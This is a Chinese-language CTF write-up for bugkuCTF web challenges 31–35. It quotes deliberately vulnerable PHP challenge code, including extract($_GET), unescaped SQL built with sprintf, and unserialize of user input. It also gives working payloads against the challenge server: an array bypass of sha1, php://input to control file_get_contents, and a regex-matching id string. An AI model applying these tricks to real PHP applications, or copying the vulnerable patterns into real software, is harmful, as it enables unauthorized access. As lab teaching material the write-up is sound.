1. 程式人生 > >bugkuCTF Writeup (Web)31-35

bugkuCTF Writeup (Web)31-35

各種繞過喲

這裡寫圖片描述
程式碼審計

<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 

        print 'passwd can not be uname.'; 

    else if (sha1($_GET
['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'; } ?>

用陣列繞過sha1,傳入uname和passwd都為陣列
payload:http://120.24.86.145:8002/web7/?uname[]=1&id=margin
post:passwd[]=2
獲得flag
這裡寫圖片描述

Web8

這裡寫圖片描述
程式碼審計

<?php
extract($_GET
); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>

用php://input
payload:http://120.24.86.145:8002/web8/?ac=aaa&fn=php://input
postdata:aaa
得flag
這裡寫圖片描述

字元?正則?

這裡寫圖片描述
程式碼審計

<?php
highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>

get的引數id只要滿足正則表示式即可,很基礎
payload:http://120.24.86.145:8002/web10/?id=key1key2222key:/3/4keya.
這裡寫圖片描述

考細心

這裡寫圖片描述

開啟來看,是一個很假的404,看http相應果然是200
這裡寫圖片描述
在這裡很久也沒找的有價值的線索
後來才知道網站根目錄下有時候會放一個robots.txt來告訴各種爬蟲哪些頁面可以抓取,那些不行
這裡就是檢視這個txt,發現一個頁面/resusl.php
開啟來看:


要提供get引數x
也沒有什麼頭緒,只是題目提示裡面說“想辦法變成admin”,用admin作為x引數試了試,就成功了,想不到這題這麼設定有什麼意義
這裡寫圖片描述

php程式碼審計

這裡寫圖片描述
這題說還沒弄好?也不知道是真是假,前面那麼多題的各種腦洞讓我的懷疑能力非常強大
點進去是程式碼審計

<?php

include "config.php";

class HITCON{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");
        }

    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
        $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new HITCON("source", array());
}

這是要傳入get引數data,然後利用unserialize的時候建立HITCON物件然後在程式執行結束的時候呼叫__destruct方法,進行注入,但是試了一下發現程式返回結果的邏輯好像和程式碼上顯示的不太一樣,可能真的是不能做吧。跳過了